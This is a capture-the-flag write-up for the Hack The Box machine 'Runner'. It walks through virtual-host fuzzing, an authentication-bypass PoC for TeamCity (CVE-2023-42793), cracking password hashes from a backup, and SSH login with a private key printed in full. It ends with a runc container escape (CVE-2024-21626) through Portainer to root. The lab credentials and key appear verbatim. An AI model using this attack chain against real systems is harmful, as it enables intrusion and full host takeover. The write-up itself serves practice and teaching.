Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://runner.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
8000/tcp open nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The nmap scan identified three ports, with two of those being HTTP and the usual SSH port. There’s already a redirect to runner.htb
on port 80 so I’ll add this domain to my /etc/hosts
file before having a closer look.
HTTP
Going to http://runner.htb
shows a webpage for CI/CD Specialists. I could request a Quote but that just tries to open a mail program to contact sales@runner.htb
. There’s no open port for submitting that mail though.
Skimming over the page shows nothing really interesting besides a reference to TeamCity.
Since the webserver has a domain name configured I try to bruteforce valid virtual hosts with fuff. The page returns 154 characters as default so I add -fs 154
to filter those replies. After a while the virtual host teamcity.runner.htb
is found and I add this to my hosts
file as well.
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/dns-Jhaddix.txt \
-u http://runner.htb \
-H 'Host: FUZZ.runner.htb' \
-fs 154
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://runner.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/dns-Jhaddix.txt
:: Header : Host: FUZZ.runner.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
teamcity [Status: 401, Size: 66, Words: 8, Lines: 2, Duration: 53ms
Initial Access
Navigating to http://teamcity.runner.htb
reveals a TeamCity login page, which also discloses the version number: 2023.05.3 (build 129390)
. A quick online search identifies CVE-2023-42793
, a critical vulnerability that allows authentication bypass and potentially enables remote code execution1.
A proof-of-concept is available on Github and can be used to create a new administrator on TeamCity.
python3 CVE-2023-42793.py -u http://teamcity.runner.htb
[+] http://teamcity.runner.htb/login.html [H454NSec4388:@H454NSec]
With the credentials from the output of the PoC I am able to login with administrative access. Poking around on the web interface there is a backup feature in Administration ⇒ Backup where I can create a new backup.
After a few seconds the new backup is done and ready to be downloaded. Extracting the ZIP locally and going through it, I find a database dump of the user table. The file contains two users besides the account I’ve created with the exploit. There is admin aka john@runner.htb
and matthew@runner.htb
with their hashed passwords.
ID, USERNAME, PASSWORD, NAME, EMAIL, LAST_LOGIN_TIMESTAMP, ALGORITHM
1, admin, $2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye, John, john@runner.htb, 1724190064594, BCRYPT
2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1709150421438, BCRYPT
11, h454nsec4388, $2a$07$ZvHRpAfmS9g1e/YrnDW35OwPvHUTk02tkGoucg8/lo.bxDxniiQ/2, , "", 1724190105196, BCRYPT
Running the two hashes through john reveals the cleartext password for matthew
to be piper123
. Unfortunately it does not work on SSH.
john --fork=10 --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 128 for all loaded hashes
Node numbers 1-10 of 10 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
piper123 (?)
--- SNIP ---
Continuing to sift through the backup I find a SSH private key in config/projects/AllProjects/pluginData/ssh_keys
. Trying the key for the two existing users lets me login as john
and collect the first flag.
-----BEGIN OPENSSH PRIVATE KEY-----
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
KgK8c9z2ecgZsAAAALam9obkBydW5uZXI=
-----END OPENSSH PRIVATE KEY-----
Privilege Escalation
Enumerating the host and checking for open ports I can see additional ports that are bound to localhost: 9000 and 9443. Those are alternative HTTP ports so I try to access them via curl.
ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:9443 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8111 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:5005 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:9000 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 *:8000 *:*
tcp LISTEN 0 511 [::]:80 [::]:*
tcp LISTEN 0 128 [::]:22 [::]:*
curl 'http://127.0.0.1:9000'
<!doctype html><html lang="en" ng-app="portainer" ng-strict-di data-edition="CE"><head><meta charset="utf-8"/><title>Portainer</title><meta name="description" content=""/><meta name="author" content="Portainer.io"/><meta http-equiv="cache-control" content="no-cache"/><meta http-equiv="expires" content="0"/><meta http-equiv="pragma" content="no-cache"/><base id="base"/><script>if (window.origin == 'file://') {
--- SNIP ---
Both ports lead to Portainer (identified by the <title> tag), a web interface to manage docker and kubernetes2. After recreating the SSH session with -D 1080
to open a SOCKS proxy and configuring said proxy in Firefox lets me access the port 9000.
This time the credentials for matthew
do work. Juding from the dashboard there are two images, one volume, and portainer has access to the docker socket
.
Having access to the docker socket allows me to interact with the docker daemon through Portainer, including starting new containers. Docker uses runc
as the default runtime, and checking its version with runc --version
shows 1.1.7-0ubuntu1~22.04.1
. This version is vulnerable to CVE-2024-21626, which allows container escape by setting the current working directory to /proc/self/fd/7
and navigating up multiple directories.
The Portainer instance already has access to two images ubuntu:latest
and teamcity:latest
. My plan is to create a new container using the ubuntu image and replicate the steps from the vulnerability. Within the Advanced container settings I set the working directory to /proc/self/fd/7
, enalbe the Interactive & TTY option and set the user to root.
After clicking Deploy the container there’s a small notification indicating success and the new container shows up in the overview. The container detail view gives access to the Console. Clicking on Connect drops me into a shell and moving up a few directories lets me access the filesystem of the host system.
From there I collect the final flag and also the SSH key for the root user.
Hint
The attack also works with
/proc/self/fd/8
Attack Path
flowchart TD subgraph "Initial Access" A(VHOST Enumeration) --> B(Discover subdomain teamcity) B -->|CVE-2023-42793| C(Create new Administrator) C -->|Create New Backup| D(Configuration of TeamCity) D -->|Crack Hash in DB| E(Password for matthew) D -->|SSH Private Key| F(Shell as john) end subgraph "Privilege Escalation" F -->|Check open ports| G(Portainer running locally) G & E -->|Valid Account| H(Access as matthew) H -->|CVE-2024-21626| I(Escape from Container to Host as root) end